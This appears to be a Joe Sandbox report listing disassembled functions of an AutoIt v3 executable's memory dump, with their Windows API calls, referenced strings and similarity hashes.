Instruction Fuzzy Hash: 23E1C1322542418FCB14DF28C85093EB7EABF88314B14899DF8D69B3AADB34ED45CB41

Function 00FE8891 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00FE8968
GetSystemMetrics.USER32(00000007), ref: 00FE8970
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00FE899B
GetSystemMetrics.USER32(00000008), ref: 00FE89A3
GetSystemMetrics.USER32(00000004), ref: 00FE89C8
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00FE89E5
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00FE89F5
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00FE8A28
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00FE8A3C
GetClientRect.USER32(00000000,000000FF), ref: 00FE8A5A
GetStockObject.GDI32(00000011), ref: 00FE8A76
SendMessageW.USER32(00000000,00000030,00000000), ref: 00FE8A81

Part of subcall function 00FE912D: GetCursorPos.USER32(?), ref: 00FE9141
Part of subcall function 00FE912D: ScreenToClient.USER32(00000000,?), ref: 00FE915E
Part of subcall function 00FE912D: GetAsyncKeyState.USER32(00000001), ref: 00FE9183
Part of subcall function 00FE912D: GetAsyncKeyState.USER32(00000002), ref: 00FE919D

SetTimer.USER32(00000000,00000000,00000028,00FE90FC), ref: 00FE8AA8

Strings

AutoIt v3 GUI, xrefs: 00FE8A20

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: cdafa3c2d2e99cacacdd435d52e8badf2886cec2d1a879042ba7087a99686efe
Instruction ID: 41490ee076fb3da37e1ba7acbfe40458069257e9faec2b6a7bd32e07b6e2ca8d
Opcode Fuzzy Hash: cdafa3c2d2e99cacacdd435d52e8badf2886cec2d1a879042ba7087a99686efe
Instruction Fuzzy Hash: E6B1A075A0024AAFDF14DFA8DD45BAE3BB4FB48310F004229FA95A7294DB79D941CF50

Function 01030D8B Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 010310F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 01031114
Part of subcall function 010310F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,01030B9B,?,?,?), ref: 01031120
Part of subcall function 010310F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,01030B9B,?,?,?), ref: 0103112F
Part of subcall function 010310F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,01030B9B,?,?,?), ref: 01031136
Part of subcall function 010310F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 0103114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 01030DF5
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 01030E29
GetLengthSid.ADVAPI32(?), ref: 01030E40
GetAce.ADVAPI32(?,00000000,?), ref: 01030E7A
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 01030E96
GetLengthSid.ADVAPI32(?), ref: 01030EAD
GetProcessHeap.KERNEL32(00000008,00000008), ref: 01030EB5
HeapAlloc.KERNEL32(00000000), ref: 01030EBC
GetLengthSid.ADVAPI32(?,00000008,?), ref: 01030EDD
CopySid.ADVAPI32(00000000), ref: 01030EE4
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 01030F13
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 01030F35
SetUserObjectSecurity.USER32(?,00000004,?), ref: 01030F47
GetProcessHeap.KERNEL32(00000000,00000000), ref: 01030F6E
HeapFree.KERNEL32(00000000), ref: 01030F75
GetProcessHeap.KERNEL32(00000000,00000000), ref: 01030F7E
HeapFree.KERNEL32(00000000), ref: 01030F85
GetProcessHeap.KERNEL32(00000000,00000000), ref: 01030F8E
HeapFree.KERNEL32(00000000), ref: 01030F95
GetProcessHeap.KERNEL32(00000000,?), ref: 01030FA1
HeapFree.KERNEL32(00000000), ref: 01030FA8

Part of subcall function 01031193: GetProcessHeap.KERNEL32(00000008,01030BB1,?,00000000,?,01030BB1,?), ref: 010311A1
Part of subcall function 01031193: HeapAlloc.KERNEL32(00000000,?,00000000,?,01030BB1,?), ref: 010311A8
Part of subcall function 01031193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,01030BB1,?), ref: 010311B7

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: 702ca66c9a2a8f01bc8cae3c0c93fcf803ec147bf6671a5ca34ff184eb63c867
Instruction ID: ac70894b7f71885295e8db43a5edd818989a79e8ed9ba1056220e8e878cfd0f2
Opcode Fuzzy Hash: 702ca66c9a2a8f01bc8cae3c0c93fcf803ec147bf6671a5ca34ff184eb63c867
Instruction Fuzzy Hash: 94717D7290120AAFEF209FA8DD44FEEBBBCBF46300F044155FA99E6194D7359905CB60

Function 0105C3B7 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0105C4BD
RegCreateKeyExW.ADVAPI32(?,?,00000000,0106CC08,00000000,?,00000000,?,?), ref: 0105C544
RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 0105C5A4
_wcslen.LIBCMT ref: 0105C5F4
_wcslen.LIBCMT ref: 0105C66F
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 0105C6B2
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 0105C7C1
RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 0105C84D
RegCloseKey.ADVAPI32(?), ref: 0105C881
RegCloseKey.ADVAPI32(00000000), ref: 0105C88E
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 0105C960

Strings

REG_EXPAND_SZ, xrefs: 0105C5CD
REG_DWORD, xrefs: 0105C804
REG_SZ, xrefs: 0105C644
REG_BINARY, xrefs: 0105C913
REG_QWORD, xrefs: 0105C8C3
REG_MULTI_SZ, xrefs: 0105C6F5

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Value$Close$_wcslen$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 9721498-966354055
Opcode ID: fb47b61f31d58dc919b3dc414a2aebd9243b32ce684d68e0df4d184fda56c567
Instruction ID: 59057bb9cb61483ffeb1a057f444c47820baa0703fec2e80c740737b15a4a1c5
Opcode Fuzzy Hash: fb47b61f31d58dc919b3dc414a2aebd9243b32ce684d68e0df4d184fda56c567
Instruction Fuzzy Hash: 58125C356043019FE754DF18C981B2AB7E5EF88714F08889DF98A9B3A2DB35ED41DB81

Function 0106091E Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 010609C6
_wcslen.LIBCMT ref: 01060A01
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 01060A54
_wcslen.LIBCMT ref: 01060A8A
_wcslen.LIBCMT ref: 01060B06
_wcslen.LIBCMT ref: 01060B81

Part of subcall function 00FEF9F2: _wcslen.LIBCMT ref: 00FEF9FD

Part of subcall function 01032BE8: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 01032BFA

Strings

GETITEMCOUNT, xrefs: 01060C1E
CHECK, xrefs: 01060A85, 01060AA0
GETTOTALCOUNT, xrefs: 010609F2, 01060A17
ISCHECKED, xrefs: 01060CE1
GETTEXT, xrefs: 01060C97
EXISTS, xrefs: 01060B7C, 01060B97
EXPAND, xrefs: 01060BF8
UNCHECK, xrefs: 01060D3E
COLLAPSE, xrefs: 01060B01, 01060B1C
GETSELECTED, xrefs: 01060C4E
SELECT, xrefs: 01060D11

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 1103490817-4258414348
Opcode ID: 20da5db7dd9c3565ff92320b3d7dc691928e7c7ba8647c1575e3d53f94252eb4
Instruction ID: a0a25b00d1f9e5556df84346574735ccf133f36db106403c23cebda246eae950
Opcode Fuzzy Hash: 20da5db7dd9c3565ff92320b3d7dc691928e7c7ba8647c1575e3d53f94252eb4
Instruction Fuzzy Hash: 54E1AF322483018FCB14EF29C85096EB7E6BF98354B048A9DF8D69B366D735ED45CB81

Function 0105C998 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,0105B6AE,?,?), ref: 0105C9B5
_wcslen.LIBCMT ref: 0105C9F1
_wcslen.LIBCMT ref: 0105CA68
_wcslen.LIBCMT ref: 0105CA9E
_wcslen.LIBCMT ref: 0105CAF9
_wcslen.LIBCMT ref: 0105CB2F
_wcslen.LIBCMT ref: 0105CB7F

Strings

HKEY_CURRENT_CONFIG, xrefs: 0105CB79, 0105CB7E
HKCU, xrefs: 0105CBCE
HKEY_CURRENT_USER, xrefs: 0105CBBD
HKU, xrefs: 0105CBF0
HKEY_CLASSES_ROOT, xrefs: 0105CAF3, 0105CAF8
HKEY_USERS, xrefs: 0105CBDF
HKLM, xrefs: 0105CA98, 0105CA9D
HKCC, xrefs: 0105CBAC
HKCR, xrefs: 0105CB29, 0105CB2E
HKEY_LOCAL_MACHINE, xrefs: 0105CA62, 0105CA67

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 1256254125-909552448
Opcode ID: 1c6bb14ccbd5e4042b39d3dde9fab7c3a8aae7d6cb4af9f7c7dc04268749db2d
Instruction ID: 1fb0249d2e73d02096c703647264d4d3a506943e1761f9eadcc8db54e42e8096
Opcode Fuzzy Hash: 1c6bb14ccbd5e4042b39d3dde9fab7c3a8aae7d6cb4af9f7c7dc04268749db2d
Instruction Fuzzy Hash: 4871053360022A8BEFA1DE6CCE505BF3BD9AF50654F140168FCD297286E635CD44E7A0

Function 0106833C Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0106835A
_wcslen.LIBCMT ref: 0106836E
_wcslen.LIBCMT ref: 01068391
_wcslen.LIBCMT ref: 010683B4
LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 010683F2
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,01065BF2), ref: 0106844E
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 01068487
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 010684CA
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 01068501
FreeLibrary.KERNEL32(?), ref: 0106850D
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0106851D
DestroyIcon.USER32(?,?,?,?,?,01065BF2), ref: 0106852C
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 01068549
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 01068555

Strings

.dll, xrefs: 010683AB
.exe, xrefs: 01068388
.icl, xrefs: 01068368

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 799131459-1154884017
Opcode ID: 94b7ae3f8f264c1053f4565b0ffb5bc597a0200c227bba9868062ac86299d2fd
Instruction ID: 44eb02f3ced6b39efe73b25b60a81a4ef62f1dd783f3b0ea91d8aad2b5696b58
Opcode Fuzzy Hash: 94b7ae3f8f264c1053f4565b0ffb5bc597a0200c227bba9868062ac86299d2fd
Instruction Fuzzy Hash: CB61E271540319BAEB24DF64CC41BBF77ACBF08710F10864AF995DA1D1DBB9AA80D7A0

Function 00FD7778 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 273COMMON

Download Yara Rule

Strings

#include-once, xrefs: 00FD782F
#notrayicon, xrefs: 00FD77E7
', xrefs: 01015169
#OnAutoItStartRegister, xrefs: 00FD7817
Cannot parse #include, xrefs: 01015279
Unterminated group of comments, xrefs: 0101528C
#cs, xrefs: 00FD7873, 00FD78C5
#ce, xrefs: 00FD78ED
#requireadmin, xrefs: 00FD77FF
#comments-start, xrefs: 00FD785F, 00FD78B1
", xrefs: 01015153
#pragma compile, xrefs: 00FD77D3
Bad directive syntax error, xrefs: 0101519A
#comments-end, xrefs: 00FD78D9
#include, xrefs: 00FD7847

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID:
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 0-1645009161
Opcode ID: 7d7b44ee6656849932649dca76372f7c3bf8d4288f566c1d1d1847037fc69edd
Instruction ID: dd11e5ed71e435b8aae832455fc88c422948806204761bce0584e702a4dd8a6f
Opcode Fuzzy Hash: 7d7b44ee6656849932649dca76372f7c3bf8d4288f566c1d1d1847037fc69edd
Instruction Fuzzy Hash: B9811771A04305BBDB21BF64DC42FBE3BA9AF45300F084426F945AE256FB78D901E791

Function 01043E79 Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 205COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 01043EF8
_wcslen.LIBCMT ref: 01043F03
_wcslen.LIBCMT ref: 01043F5A
_wcslen.LIBCMT ref: 01043F98
GetDriveTypeW.KERNEL32(?), ref: 01043FD6
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0104401E
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 01044059
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 01044087

Strings

close, xrefs: 01043EFE, 01043F18
close cd wait, xrefs: 01044072
closed, xrefs: 01043F08, 01043F2D, 01043F46, 01043F7E, 01043F97
set cd door , xrefs: 01044028
open, xrefs: 01043F54, 01043F59
wait, xrefs: 01044044
open , xrefs: 01043FE5
type cdaudio alias cd wait, xrefs: 01044001

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: SendString_wcslen$BuffCharDriveLowerType
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 1839972693-4113822522
Opcode ID: 2a4e377107b7b4b74c48923c2f3679341b2037f89a2ec9be84420760be22be73
Instruction ID: 2efaec78ccf37d7626b4c3741dabb0ae21d17b17c6e10d04202b2342f1bc49d0
Opcode Fuzzy Hash: 2a4e377107b7b4b74c48923c2f3679341b2037f89a2ec9be84420760be22be73
Instruction Fuzzy Hash: AA710EB26042129FC710EF28C88096AB7F5FF84754F04492EF8D69B262EB35ED45DB91

Function 01035A1B Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 01035A2E
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 01035A40
SetWindowTextW.USER32(?,?), ref: 01035A57
GetDlgItem.USER32(?,000003EA), ref: 01035A6C
SetWindowTextW.USER32(00000000,?), ref: 01035A72
GetDlgItem.USER32(?,000003E9), ref: 01035A82
SetWindowTextW.USER32(00000000,?), ref: 01035A88
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 01035AA9
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 01035AC3
GetWindowRect.USER32(?,?), ref: 01035ACC
_wcslen.LIBCMT ref: 01035B33
SetWindowTextW.USER32(?,?), ref: 01035B6F
GetDesktopWindow.USER32 ref: 01035B75
GetWindowRect.USER32(00000000), ref: 01035B7C
MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 01035BD3
GetClientRect.USER32(?,?), ref: 01035BE0
PostMessageW.USER32(?,00000005,00000000,?), ref: 01035C05
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 01035C2F

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
String ID:
API String ID: 895679908-0
Opcode ID: 113402875e02e104cd8f5a1eed3da1268f02e1da423e8116e87155fe975016fc
Instruction ID: b2f1008970219e2be72f684e72127cab97b2ff0df8c440435f1442c60cd2b07b
Opcode Fuzzy Hash: 113402875e02e104cd8f5a1eed3da1268f02e1da423e8116e87155fe975016fc
Instruction Fuzzy Hash: 03717F31900709AFDB24DFA8CE85AAEBBF9FF88704F104558E5C2A25A4D779E940CF50

Function 0104FE0E Relevance: 27.1, APIs: 18, Instructions: 128COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 0104FE27
LoadCursorW.USER32(00000000,00007F8A), ref: 0104FE32
LoadCursorW.USER32(00000000,00007F00), ref: 0104FE3D
LoadCursorW.USER32(00000000,00007F03), ref: 0104FE48
LoadCursorW.USER32(00000000,00007F8B), ref: 0104FE53
LoadCursorW.USER32(00000000,00007F01), ref: 0104FE5E
LoadCursorW.USER32(00000000,00007F81), ref: 0104FE69
LoadCursorW.USER32(00000000,00007F88), ref: 0104FE74
LoadCursorW.USER32(00000000,00007F80), ref: 0104FE7F
LoadCursorW.USER32(00000000,00007F86), ref: 0104FE8A
LoadCursorW.USER32(00000000,00007F83), ref: 0104FE95
LoadCursorW.USER32(00000000,00007F85), ref: 0104FEA0
LoadCursorW.USER32(00000000,00007F82), ref: 0104FEAB
LoadCursorW.USER32(00000000,00007F84), ref: 0104FEB6
LoadCursorW.USER32(00000000,00007F04), ref: 0104FEC1
LoadCursorW.USER32(00000000,00007F02), ref: 0104FECC
GetCursorInfo.USER32(?), ref: 0104FEDC
GetLastError.KERNEL32 ref: 0104FF1E

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: c520a5ef4946b63861d4b5defc4d1beb245feeccf68ce18390024a8416c87aeb
Instruction ID: 1829ffdf283b11744bf1689110fdcf5a77ae35232c756adc0ca0fb369ce795d6
Opcode Fuzzy Hash: c520a5ef4946b63861d4b5defc4d1beb245feeccf68ce18390024a8416c87aeb
Instruction Fuzzy Hash: AD4151B0D0431AABDB109FBA8CC985EBFE8FF04354B54456AE15DE7281DB78A901CF91

Function 00FF00C6 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 00FF00C6

Part of subcall function 00FF00ED: InitializeCriticalSectionAndSpinCount.KERNEL32(010A070C,00000FA0,9E2D030E,?,?,?,?,010123B3,000000FF), ref: 00FF011C
Part of subcall function 00FF00ED: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,010123B3,000000FF), ref: 00FF0127
Part of subcall function 00FF00ED: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,010123B3,000000FF), ref: 00FF0138
Part of subcall function 00FF00ED: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00FF014E
Part of subcall function 00FF00ED: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00FF015C
Part of subcall function 00FF00ED: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00FF016A
Part of subcall function 00FF00ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00FF0195
Part of subcall function 00FF00ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00FF01A0

___scrt_fastfail.LIBCMT ref: 00FF00E7

Part of subcall function 00FF00A3: __onexit.LIBCMT ref: 00FF00A9

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 00FF0122
SleepConditionVariableCS, xrefs: 00FF0154
kernel32.dll, xrefs: 00FF0133
InitializeConditionVariable, xrefs: 00FF0148
WakeAllConditionVariable, xrefs: 00FF0162

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 66158676-1714406822
Opcode ID: eae3c32527f0dbe6551159c1c393ca96b6560d3ea3fdaba258cfade685f6a03a
Instruction ID: 4c5f070fd86c93ff83d2e660dae58817f1397c531e44ce5170d22ef8fd53fe0f
Opcode Fuzzy Hash: eae3c32527f0dbe6551159c1c393ca96b6560d3ea3fdaba258cfade685f6a03a
Instruction Fuzzy Hash: 26213E32E45719ABE7306BA5AD05B7E3799EF05B60F00012AF9C1AB265DF799C009B50

Function 010330F7 Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 400COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0103318D
_wcslen.LIBCMT ref: 010331F8

Strings

